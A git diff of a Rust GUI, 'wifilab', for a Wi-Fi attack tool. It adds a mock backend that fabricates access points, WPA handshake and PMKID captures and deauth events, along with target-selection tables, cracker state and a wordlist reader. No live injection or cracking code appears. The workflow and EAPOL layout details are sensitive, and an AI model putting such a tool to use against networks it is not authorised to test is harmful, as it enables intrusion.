.child(small(format!("{} lines (newest first)", app.state.log.len()))), + ) + .child( + scroll_area("log-scroll") + .vertical() + .full_height(true) + .child( + lines_view + .w_full() + .p_2() + .rounded_md() + .bg(theme.surface_secondary()), + ), + ) +} diff --git a/src/ui/mock.rs b/src/ui/mock.rs new file mode 100644 index 0000000..d6c5b55 --- /dev/null +++ b/src/ui/mock.rs @@ -0,0 +1,257 @@ +//! Mock backend: fabricates the event stream the real radio/attack/cracker +//! threads will eventually produce. Delete this module — and the env-flag +//! branch in `run_app` — when the backend lands. + +use std::thread; +use std::time::{Duration, Instant}; + +use crossbeam_channel::Sender; + +use crate::common::{ + AccessPoint, ClientInfo, Event, HandshakeCapture, MacAddr, PmkidCapture, Security, +}; + +/// Salted deterministic PRNG (xorshift64) — no rand crate, values only need +/// to *look* like radio noise. +struct Rng(u64); + +impl Rng { + fn next(&mut self) -> u64 { + let mut x = self.0; + x ^= x << 13; + x ^= x >> 7; + x ^= x << 17; + self.0 = x; + x + } + + /// Inclusive low, exclusive high. + fn below(&mut self, high: u64) -> u64 { + self.next() % high.max(1) + } +} + +/// The mock interface, also what the header picker offers. +pub const MOCK_IFACE: &str = "wlp14s0"; + +pub const MOCK_BSSID: MacAddr = MacAddr([0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff]); + +pub const MOCK_CLIENTS: [MacAddr; 4] = [ + MacAddr([0x11, 0x22, 0x33, 0x44, 0x55, 0x66]), + MacAddr([0x22, 0x33, 0x44, 0x55, 0x66, 0x77]), + MacAddr([0x33, 0x44, 0x55, 0x66, 0x77, 0x88]), + MacAddr([0x44, 0x55, 0x66, 0x77, 0x88, 0x99]), +]; + +fn seed_aps() -> Vec { + let now = Instant::now(); + let ap = |mac: [u8; 6], ssid: &str, channel, security, rssi| AccessPoint { + bssid: MacAddr(mac), + ssid: ssid.to_string(), + channel, + security, + rssi_dbm: rssi, + beacons: 200, + last_seen: now, + }; + vec![ + ap([0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff], "parafin", 6, Security::Wpa2, -42), + ap([0x02, 0x1a, 0x2b, 0x3c, 0x4d, 0x5e], "labnet", 1, Security::Wpa2, -55), + ap([0x02, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e], "coffeeshop", 11, Security::Wpa2, -68), + ap([0x02, 0xff, 0xee, 0xdd, 0xcc, 0xbb], "corp-wpa3", 36, Security::Wpa3, -61), + ap([0x02, 0xde, 0xad, 0xbe, 0xef, 0x00], "legacy-prn", 3, Security::Wep, -80), + ap([0x02, 0x00, 0x11, 0x22, 0x33, 0x44], "open-wifi", 6, Security::Open, -72), + ] +} + +fn seed_clients() -> Vec { + let now = Instant::now(); + let cl = |mac: MacAddr, ap: MacAddr, rssi| ClientInfo { + mac, + ap: Some(ap), + rssi_dbm: rssi, + frames: 40, + last_seen: now, + }; + vec![ + cl(MOCK_CLIENTS[0], MOCK_BSSID, -44), + cl(MOCK_CLIENTS[1], MOCK_BSSID, -51), + cl(MOCK_CLIENTS[2], MacAddr([0x02, 0x1a, 0x2b, 0x3c, 0x4d, 0x5e]), -60), + cl(MOCK_CLIENTS[3], MacAddr([0x02, 0xff, 0xee, 0xdd, 0xcc, 0xbb]), -63), + ] +} + +/// Deterministic filler byte for fabricated crypto material. +fn fill(byte: u64) -> u8 { + (byte % 251) as u8 +} + +/// Fabricate a syntactically valid-looking WPA1/WPA2 capture (dummy nonces, +/// dummy MIC, dummy M2 EAPOL frame). The cracker would reject these, but the +/// UI only displays and exports them. +pub fn fabricate_handshake(ap: MacAddr, client: MacAddr, essid: &str, salt: u64) -> HandshakeCapture { + let mut anonce = [0u8; 32]; + let mut snonce = [0u8; 32]; + let mut mic = [0u8; 16]; + let mut rng = Rng(salt | 1); + for i in 0..32 { + anonce[i] = fill(rng.next() + i as u64); + snonce[i] = fill(rng.next() + 7 * i as u64); + } + for i in 0..16 { + mic[i] = fill(rng.next() + 11 * i as u64); + } + // EAPOL v1, type Key, 95-byte key descriptor + empty key data: laid out + // so the exporter's MIC-field offset (81..97) lands inside real bytes. + let mut eapol_m2 = vec![0u8; 4 + 95]; + eapol_m2[0] = 1; // EAPOL version + eapol_m2[1] = 3; // type: Key + eapol_m2[2] = 0; + eapol_m2[3] = 95; // length + eapol_m2[4] = 2; // descriptor: RSN + eapol_m2[5] = 0x01; // key info: M2, pairwise, MIC set + eapol_m2[6] = 0x0a; + let mut rng = Rng(salt ^ 0x5a5a); + for b in eapol_m2.iter_mut().skip(7) { + *b = fill(rng.next()); + } + // SNonce rides at key-descriptor offset 13 (EAPOL offset 17). + eapol_m2[17..17 + 32].copy_from_slice(&snonce); + // MIC field at EAPOL offset 81..97. + eapol_m2[81..97].copy_from_slice(&mic); + HandshakeCapture::new(ap, client, essid.to_string(), anonce, snonce, mic, eapol_m2, 2) +} + +/// Fabricate a PMKID capture against `ap`, impersonating `client`. +pub fn fabricate_pmkid(ap: MacAddr, client: MacAddr, essid: &str, salt: u64) -> PmkidCapture { + let mut pmkid = [0u8; 16]; + let mut rng = Rng(salt ^ 0xa5a5); + for b in &mut pmkid { + *b = fill(rng.next()); + } + PmkidCapture { + ap, + client, + essid: essid.to_string(), + pmkid, + } +} + +/// Spawn the mock generator thread. Sends forever until the channel closes +/// (app exit) — error sends are simply dropped. +pub fn spawn_mock(tx: Sender) { + thread::Builder::new() + .name("wifilab-mock".into()) + .spawn(move || run(tx)) + .expect("mock thread"); +} + +fn run(tx: Sender) { + let _ = tx.send(Event::Log(format!( + "mock: scanning on {MOCK_IFACE} (6 APs, 4 clients)" + ))); + + let mut rng = Rng(0x9e37_79b9_7f4a_7c15); + let mut aps = seed_aps(); + let mut clients = seed_clients(); + for ap in &aps { + let _ = tx.send(Event::ApUpdated(ap.clone())); + } + for cl in &clients { + let _ = tx.send(Event::ClientUpdated(cl.clone())); + } + + let started = Instant::now(); + let mut stage = 0usize; + const LOG_LINES: &[&str] = &[ + "hop: ch 1 → ch 6", + "probe request from 11:22:33:44:55:66 (\"labnet\")", + "hop: ch 6 → ch 11", + "beacon: corp-wpa3 on ch 36 (SAE)", + "hop: ch 36 → ch 44", + "data frame burst on parafin (297 fps)", + "probe response coffeeshop (WPA2-PSK)", + ]; + + loop { + thread::sleep(Duration::from_millis(200)); + let t = started.elapsed().as_secs_f32(); + let now = Instant::now(); + + // RSSI drift + beacon/frame counters on every tick. + for ap in &mut aps { + ap.rssi_dbm = (ap.rssi_dbm + (rng.below(5) as i8 - 2)).clamp(-90, -30); + ap.beacons += rng.below(3); + ap.last_seen = now; + let _ = tx.send(Event::ApUpdated(ap.clone())); + } + for cl in &mut clients { + cl.rssi_dbm = (cl.rssi_dbm + (rng.below(3) as i8 - 1)).clamp(-90, -30); + cl.frames += rng.below(12); + cl.last_seen = now; + let _ = tx.send(Event::ClientUpdated(cl.clone())); + } + + // Milestones, roughly one per few seconds. + let milestone_at = |stage: usize| t >= [2.0, 5.0, 8.0, 9.0, 11.0, 14.0][stage]; + while stage < 4 && milestone_at(stage) { + match stage { + 0 => { + let _ = tx.send(Event::Log(format!( + "locking onto parafin ({MOCK_BSSID}, ch 6)" + ))); + } + 1 => { + let _ = tx.send(Event::HandshakeProgress { + ap: MOCK_BSSID, + client: MOCK_CLIENTS[0], + have: 0b0001, + }); + } + 2 => { + let _ = tx.send(Event::HandshakeProgress { + ap: MOCK_BSSID, + client: MOCK_CLIENTS[0], + have: 0b0011, + }); + } + 3 => { + let cap = + fabricate_handshake(MOCK_BSSID, MOCK_CLIENTS[0], "parafin", 0x1234_5678); + let _ = tx.send(Event::HandshakeComplete(Box::new(cap))); + stage += 1; + break; + } + _ => unreachable!(), + } + stage += 1; + } + + if stage == 4 && t >= 14.0 { + let cap = fabricate_pmkid( + MacAddr([0x02, 0xff, 0xee, 0xdd, 0xcc, 0xbb]), + MOCK_CLIENTS[3], + "corp-wpa3", + 0xdead_beef, + ); + let _ = tx.send(Event::PmkidCaptured(cap)); + stage += 1; + } + + if stage >= 5 && (rng.next() % 20 == 0) { + let _ = tx.send(Event::Log(format!( + "{}", + LOG_LINES[(rng.below(LOG_LINES.len() as u64)) as usize] + ))); + } + + // Occasionally nudge deauth stats so the log feels alive. + if stage >= 5 && t > 20.0 && rng.next() % 40 == 0 { + let _ = tx.send(Event::DeauthSent { + ap: MOCK_BSSID, + target: MOCK_CLIENTS[1], + count: 8, + }); + } + } +} diff --git a/src/ui/mod.rs b/src/ui/mod.rs new file mode 100644 index 0000000..adbf1d3 --- /dev/null +++ b/src/ui/mod.rs @@ -0,0 +1,106 @@ +//! GPUI + gpuikit shell for wifilab. +//! +//! `run_app` opens the window and wires the backend event channel. Today the +//! producer is the mock generator in [`mock`]; when the real +//! radiotap/dot11/scanner/attack/cracker threads land they take over the +//! `Sender` side and the UI changes nowhere else. + +mod app; +mod attacks; +mod cracker; +mod log; +mod mock; +mod networks; +pub mod state; + +use std::sync::Arc; + +use gpui::{ + App, AppContext, Application, Bounds, TitlebarOptions, WindowBounds, WindowOptions, px, size, +}; +use gpuikit::theme::{GlobalTheme, Theme}; + +/// Launch the UI. Blocks until the window closes. +/// +/// `mock_flag` is the CLI `--mock` switch; combined with the legacy +/// `WIFILAB_MOCK` env var. The REAL backend is the default: `Backend` is +/// created lazily on the first "Start capture" click. +pub fn run_app(iface: Option, mock_flag: bool) { + let (tx, rx) = crossbeam_channel::unbounded(); + + // Mock mode: `--mock` flag or WIFILAB_MOCK=1 (any value except 0/false + // counts as 1 when set). Default (neither set) is real mode. + let env_mock = match std::env::var_os("WIFILAB_MOCK") { + None => false, + Some(v) => v != "0" && v != "false", + }; + let is_mock = mock_flag || env_mock; + if is_mock { + mock::spawn_mock(tx.clone()); + } + + // Interface picker choices: every wireless interface present, with the + // CLI/default choice first (also the fallback when detection fails). + let mut ifaces: Vec = crate::iface::list_wifi_ifaces(); + if ifaces.is_empty() { + ifaces.push("wlp14s0".to_string()); + } + let selected = match iface { + Some(cli) => { + if !ifaces.contains(&cli) { + ifaces.insert(0, cli.clone()); + } + cli + } + None => ifaces[0].clone(), + }; + if is_mock && !ifaces.iter().any(|i| i == mock::MOCK_IFACE) { + ifaces.push(mock::MOCK_IFACE.to_string()); + } + + Application::with_platform(gpui_platform::current_platform(false)) + .with_assets(gpuikit::assets()) + .run(move |cx: &mut App| { + gpuikit::init(cx); + cx.set_global(GlobalTheme(Arc::new(Theme::gruvbox_dark()))); + + let window = cx + .open_window( + WindowOptions { + titlebar: Some(TitlebarOptions { + title: Some("wifilab".into()), + ..Default::default() + }), + window_bounds: Some(WindowBounds::Windowed(Bounds { + origin: Default::default(), + size: size(px(1280.0), px(760.0)), + })), + ..Default::default() + }, + { + let tx = tx.clone(); + let mut rx = Some(rx); + move |window, cx| { + cx.new(|cx| { + app::AppRoot::new( + window, + cx, + tx, + rx.take().expect("single window"), + is_mock, + ifaces.clone(), + selected.clone(), + ) + }) + } + }, + ) + .expect("open main window"); + + window + .update(cx, |_app, _window, cx| { + cx.activate(true); + }) + .expect("activate main window"); + }); +} diff --git a/src/ui/networks.rs b/src/ui/networks.rs new file mode 100644 index 0000000..c4eb7aa --- /dev/null +++ b/src/ui/networks.rs @@ -0,0 +1,294 @@ +//! Networks page: sortable AP table, clients table, row-click target +//! selection. + +use std::time::Instant; + +use gpui::{Context, Entity, IntoElement, ParentElement, Styled, Window, div, px}; +use gpuikit::elements::badge::badge; +use gpuikit::elements::table::{CellAlign, Column, Row, SortDirection, Table, table}; +use gpuikit::elements::typography::{h3, small}; +use gpuikit::layout::v_stack; + +use crate::common::{AccessPoint, ClientInfo, MacAddr, Security}; +use crate::ui::app::AppRoot; + +const COL_BSSID: usize = 0; +const COL_SSID: usize = 1; +const COL_CH: usize = 2; +const COL_SEC: usize = 3; +const COL_RSSI: usize = 4; +const COL_BEACONS: usize = 5; +const COL_AGE: usize = 6; + +const CCOL_MAC: usize = 0; +const CCOL_AP: usize = 1; +const CCOL_RSSI: usize = 2; +const CCOL_FRAMES: usize = 3; +const CCOL_AGE: usize = 4; + +/// Human "last seen" age, e.g. `2s`, `5m`, `1h`. +pub fn age(last_seen: Instant) -> String { + let s = last_seen.elapsed().as_secs(); + if s < 60 { + format!("{s}s") + } else if s < 3600 { + format!("{}m", s / 60) + } else { + format!("{}h", s / 3600) + } +} + +fn sec_badge(sec: Security) -> gpuikit::elements::badge::Badge { + match sec { + Security::Open => badge(sec.label()).outline(), + Security::Wep => badge(sec.label()).destructive(), + Security::Wpa | Security::Wpa2 => badge(sec.label()), + Security::Wpa3 => badge(sec.label()).secondary(), + } +} + +fn sorted_aps(app: &AppRoot) -> Vec { + let mut rows: Vec = app.state.aps.values().cloned().collect(); + if let Some(sort) = app.ap_sort { + let ord = |l: &AccessPoint, r: &AccessPoint| match sort.column { + COL_BSSID => l.bssid.cmp(&r.bssid), + COL_SSID => l.ssid.cmp(&r.ssid).then_with(|| l.bssid.cmp(&r.bssid)), + COL_CH => l.channel.cmp(&r.channel), + COL_SEC => l.security.label().cmp(r.security.label()), + COL_RSSI => l.rssi_dbm.cmp(&r.rssi_dbm), + COL_BEACONS => l.beacons.cmp(&r.beacons), + COL_AGE => l.last_seen.cmp(&r.last_seen).reverse(), // newest = 0s first + _ => std::cmp::Ordering::Equal, + }; + rows.sort_by(|l, r| match sort.direction { + SortDirection::Ascending => ord(l, r), + SortDirection::Descending => ord(l, r).reverse(), + }); + } + rows +} + +fn sorted_clients(app: &AppRoot) -> Vec { + let mut rows: Vec = app.state.clients.values().cloned().collect(); + if let Some(sort) = app.client_sort { + let ord = |l: &ClientInfo, r: &ClientInfo| match sort.column { + CCOL_MAC => l.mac.cmp(&r.mac), + CCOL_AP => l.ap.cmp(&r.ap), + CCOL_RSSI => l.rssi_dbm.cmp(&r.rssi_dbm), + CCOL_FRAMES => l.frames.cmp(&r.frames), + CCOL_AGE => l.last_seen.cmp(&r.last_seen).reverse(), + _ => std::cmp::Ordering::Equal, + }; + rows.sort_by(|l, r| match sort.direction { + SortDirection::Ascending => ord(l, r), + SortDirection::Descending => ord(l, r).reverse(), + }); + } + rows +} + +fn ap_table(app: &AppRoot, view: &Entity) -> Table { + let selected = app.selected; + let rows = sorted_aps(app) + .into_iter() + .map(|ap| { + let bssid = ap.bssid; + let view = view.clone(); + Row::new(ap).selected(selected == Some(bssid)).on_click( + move |_window, cx| { + view.update(cx, |app, cx| { + app.selected = Some(bssid); + app.selected_client = None; + app.state.push_log(format!("target selected: {bssid}")); + cx.notify(); + }); + }, + ) + }) + .collect::>(); + + table("networks-aps") + .column( + Column::new("BSSID", |ap: &AccessPoint, _w, _cx| { + div().child(ap.bssid.to_string()).into_any_element() + }) + .sortable() + .min_width(px(150.)), + ) + .column( + Column::new("SSID", |ap: &AccessPoint, _w, _cx| { + div().child(ap.ssid.clone()).into_any_element() + }) + .sortable() + .flex(2.0) + .min_width(px(120.)), + ) + .column( + Column::new("CH", |ap: &AccessPoint, _w, _cx| { + div().child(ap.channel.to_string()).into_any_element() + }) + .sortable() + .fixed(px(60.)) + .end(), + ) + .column( + Column::new("SEC", |ap: &AccessPoint, _w, _cx| { + sec_badge(ap.security).into_any_element() + }) + .sortable() + .fixed(px(110.)) + .align(CellAlign::Center), + ) + .column( + Column::new("RSSI", |ap: &AccessPoint, _w, _cx| { + div() + .child(format!("{} dBm", ap.rssi_dbm)) + .into_any_element() + }) + .sortable() + .fixed(px(90.)) + .end(), + ) + .column( + Column::new("BEACONS", |ap: &AccessPoint, _w, _cx| { + div().child(ap.beacons.to_string()).into_any_element() + }) + .sortable() + .fixed(px(100.)) + .end(), + ) + .column( + Column::new("AGE", |ap: &AccessPoint, _w, _cx| { + div().child(age(ap.last_seen)).into_any_element() + }) + .sortable() + .fixed(px(70.)) + .end(), + ) + .rows(rows) + .sorted_by(app.ap_sort) + .on_sort({ + let view = view.clone(); + move |request, _window, cx| { + view.update(cx, |app, cx| { + app.ap_sort = Some(request.suggested()); + cx.notify(); + }); + } + }) + .max_h(px(340.)) + .empty("No access points heard yet — is capture running?") +} + +fn client_table(app: &AppRoot, view: &Entity) -> Table { + let rows = sorted_clients(app) + .into_iter() + .map(|cl| { + // Clicking a client selects the (AP, client) pair: its AP + // becomes the target and the client is remembered for deauth. + let ap = cl.ap; + let mac = cl.mac; + let view = view.clone(); + Row::new(cl) + .selected(app.selected_client == Some(mac)) + .on_click(move |_window, cx| { + view.update(cx, |app, cx| { + if let Some(ap) = ap { + app.selected = Some(ap); + app.selected_client = Some(mac); + app.state + .push_log(format!("target selected: {ap} (client {mac})")); + cx.notify(); + } + }); + }) + }) + .collect::>(); + + table("networks-clients") + .column( + Column::new("MAC", |cl: &ClientInfo, _w, _cx| { + div().child(cl.mac.to_string()).into_any_element() + }) + .sortable() + .min_width(px(150.)), + ) + .column( + Column::new("AP", |cl: &ClientInfo, _w, _cx| { + div() + .child( + cl.ap + .map(|ap: MacAddr| ap.to_string()) + .unwrap_or_else(|| "—".into()), + ) + .into_any_element() + }) + .sortable() + .min_width(px(150.)), + ) + .column( + Column::new("RSSI", |cl: &ClientInfo, _w, _cx| { + div() + .child(format!("{} dBm", cl.rssi_dbm)) + .into_any_element() + }) + .sortable() + .fixed(px(90.)) + .end(), + ) + .column( + Column::new("FRAMES", |cl: &ClientInfo, _w, _cx| { + div().child(cl.frames.to_string()).into_any_element() + }) + .sortable() + .fixed(px(90.)) + .end(), + ) + .column( + Column::new("AGE", |cl: &ClientInfo, _w, _cx| { + div().child(age(cl.last_seen)).into_any_element() + }) + .sortable() + .fixed(px(70.)) + .end(), + ) + .rows(rows) + .sorted_by(app.client_sort) + .on_sort({ + let view = view.clone(); + move |request, _window, cx| { + view.update(cx, |app, cx| { + app.client_sort = Some(request.suggested()); + cx.notify(); + }); + } + }) + .max_h(px(220.)) + .empty("No client stations observed") +} + +pub fn render(app: &mut AppRoot, view: &Entity, _window: &mut Window, _cx: &mut Context) -> gpui::Div { + v_stack() + .size_full() + .gap_3() + .p_4() + .child( + gpuikit::layout::h_stack() + .items_center() + .gap_3() + .child(h3("Access Points")) + .child(small(format!( + "{} networks — click a row to pick a target", + app.state.aps.len() + ))), + ) + .child(ap_table(app, view)) + .child( + gpuikit::layout::h_stack() + .items_center() + .gap_3() + .child(h3("Clients")) + .child(small(format!("{} stations", app.state.clients.len()))), + ) + .child(client_table(app, view)) +} diff --git a/src/ui/state.rs b/src/ui/state.rs new file mode 100644 index 0000000..070e1cb --- /dev/null +++ b/src/ui/state.rs @@ -0,0 +1,168 @@ +//! Application state: the UI-side home for everything arriving over the +//! backend event channel. Backend swap-in keeps this type untouched. + +use std::collections::{BTreeMap, VecDeque}; + +use crate::common::{AccessPoint, ClientInfo, Event, HandshakeCapture, MacAddr, PmkidCapture}; +use crate::crypto::CrackTarget; + +/// Ring capacity of the on-screen log. +pub const LOG_CAP: usize = 500; + +/// Live status of the (currently simulated) handshake cracker. +#[derive(Default)] +pub struct CrackerState { + /// Human description of the selected capture (see [`AppState::capture_descs`]). + pub target: Option, + pub wordlist: Option, + pub running: bool, + /// Guesses per second. + pub hps: f64, + /// Candidates tried so far. + pub tried: u64, + /// Recovered password, once found. + pub found: Option, +} + +/// Everything the window renders. Updated exclusively by +/// [`AppState::apply`] so a real backend can reuse the reduction logic. +pub struct AppState { + /// Whether the interface is (pretending to be) capturing in monitor mode. + pub iface_running: bool, + pub ifname: String, + pub aps: BTreeMap, + pub clients: BTreeMap, + pub handshakes: Vec, + pub pmkids: Vec, + /// [`capture_descs`]-aligned crack targets: `capture_targets()[i]` is + /// the [`CrackTarget`] described by `capture_descs()[i]`, so the + /// cracker starts a run without re-parsing an hc22000 line. + capture_targets: Vec, + pub log: VecDeque, + pub cracker: CrackerState, +} + +impl AppState { + pub fn new(ifname: &str) -> Self { + AppState { + iface_running: false, + ifname: ifname.to_string(), + aps: BTreeMap::new(), + clients: BTreeMap::new(), + handshakes: Vec::new(), + pmkids: Vec::new(), + capture_targets: Vec::new(), + log: VecDeque::with_capacity(LOG_CAP), + cracker: CrackerState::default(), + } + } + + /// Crack target described by `capture_descs()[i]` (cloned — the cracker + /// worker takes ownership). + pub fn crack_target_at(&self, i: usize) -> Option { + self.capture_targets.get(i).cloned() + } + + pub fn push_log(&mut self, line: impl Into) { + if self.log.len() == LOG_CAP { + self.log.pop_front(); + } + self.log.push_back(line.into()); + } + + /// Reduce one backend event into state. Returns `true` when the set of + /// crackable captures changed (callers rebuild dependent widgets). + pub fn apply(&mut self, event: Event) -> bool { + match event { + Event::ApUpdated(ap) => { + self.aps.insert(ap.bssid, ap); + false + } + Event::ApLost(bssid) => { + self.aps.remove(&bssid); + false + } + Event::ClientUpdated(client) => { + self.clients.insert(client.mac, client); + false + } + Event::HandshakeProgress { ap, client, have } => { + self.push_log(format!( + "4-way {ap} → {client}: {}/4 messages", + have.count_ones() + )); + false + } + Event::HandshakeComplete(cap) => { + self.push_log(format!( + "handshake captured: {} ({} ⇄ {})", + cap.essid, cap.ap, cap.client + )); + self.capture_targets + .push(CrackTarget::Handshake(cap.as_ref().clone())); + self.handshakes.push(*cap); + true + } + Event::PmkidCaptured(cap) => { + self.push_log(format!("PMKID captured: {} ({})", cap.essid, cap.ap)); + self.capture_targets + .push(CrackTarget::Pmkid(cap.clone())); + self.pmkids.push(cap); + true + } + Event::DeauthSent { ap, target, count } => { + self.push_log(format!("deauth: {count} frames → {target} (AP {ap})")); + false + } + Event::CrackProgress { done, hps } => { + if self.cracker.running { + self.cracker.tried = done; + self.cracker.hps = hps; + } + false + } + Event::CrackFound { password } => { + self.push_log(format!("PASSWORD FOUND: {password}")); + self.cracker.found = Some(password); + false + } + Event::CrackStopped { found } => { + self.push_log(format!( + "cracker: run ended ({})", + if found { "password recovered" } else { "stopped/exhausted" } + )); + self.cracker.running = false; + true // force dependent-widget refresh so the cracker page updates promptly + } + Event::Log(line) => { + self.push_log(line); + false + } + Event::Error(line) => { + self.push_log(format!("ERROR: {line}")); + false + } + } + } + + /// Stable, unique descriptions of every crackable capture — the cracker's + /// target dropdown is fed with these (index prefix keeps duplicates + /// apart). + pub fn capture_descs(&self) -> Vec { + let mut out = Vec::with_capacity(self.handshakes.len() + self.pmkids.len()); + for (i, hs) in self.handshakes.iter().enumerate() { + out.push(format!( + "#{:02} HS {} {} ⇄ {} kv{}", + i + 1, + hs.essid, + hs.ap, + hs.client, + hs.key_ver + )); + } + for (i, pm) in self.pmkids.iter().enumerate() { + out.push(format!("#{:02} PMKID {} {}", i + 1, pm.essid, pm.ap)); + } + out + } +} diff --git a/src/wordlist.rs b/src/wordlist.rs index e69de29..ab0c79c 100644 --- a/src/wordlist.rs +++ b/src/wordlist.rs @@ -0,0 +1,88 @@ +//! Streaming wordlist reader: line-oriented, bytes-accurate, filters to the +//! WPA passphrase length range 8..=63 bytes. + +use std::fs::File; +use std::io::{BufRead, BufReader}; +use std::path::Path; + +use anyhow::{Context, Result}; + +struct WordIter { + lines: std::io::Lines>, +} + +impl Iterator for WordIter { + type Item = Vec; + + fn next(&mut self) -> Option> { + loop { + let line = match self.lines.next()? { + Ok(l) => l, + // Unreadable line (bad UTF-8 etc.): skip it, keep streaming. + Err(_) => continue, + }; + let bytes = line.into_bytes(); + if (8..=63).contains(&bytes.len()) { + return Some(bytes); + } + } + } +} + +/// Open a wordlist file as a streaming iterator of passphrase candidates. +/// +/// Lines are trimmed of `\r\n` only (no whitespace trimming), and only +/// candidates of 8..=63 *bytes* are yielded. The iterator is `Send` and does +/// not load the file into memory. +pub fn open(path: &Path) -> Result> + Send>> { + let f = File::open(path) + .with_context(|| format!("opening wordlist {}", path.display()))?; + let reader = BufReader::with_capacity(1 << 20, f); + Ok(Box::new(WordIter { + lines: reader.lines(), + })) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::io::Write; + + #[test] + fn filters_and_trims() { + let dir = std::env::temp_dir(); + let path = dir.join(format!("wifilab-wordlist-test-{}", std::process::id())); + { + let mut f = File::create(&path).unwrap(); + // too short, ok, crlf ok, trailing space kept (too short when + // counted), exactly 8, exactly 63, 64 too long, empty line. + writeln!(f, "short").unwrap(); + writeln!(f, "sup3r-secret").unwrap(); + f.write_all(b"crlf-pass\r\n").unwrap(); + writeln!(f, "eight88 ").unwrap(); + writeln!(f, "eight888").unwrap(); + writeln!(f, "{}", "a".repeat(63)).unwrap(); + writeln!(f, "{}", "b".repeat(64)).unwrap(); + f.write_all(b"\n").unwrap(); + } + let mut it = open(&path).unwrap(); + let got: Vec> = std::iter::from_fn(|| it.next()).collect(); + // "eight88 " keeps its trailing space: only \r\n is trimmed. + assert_eq!( + got, + vec![ + b"sup3r-secret".to_vec(), + b"crlf-pass".to_vec(), + b"eight88 ".to_vec(), + b"eight888".to_vec(), + "a".repeat(63).into_bytes(), + ] + ); + let _ = std::fs::remove_file(&path); + } + + #[test] + fn missing_file_errors() { + assert!(open(Path::new("/definitely/not/here.lst")).is_err()); + } +}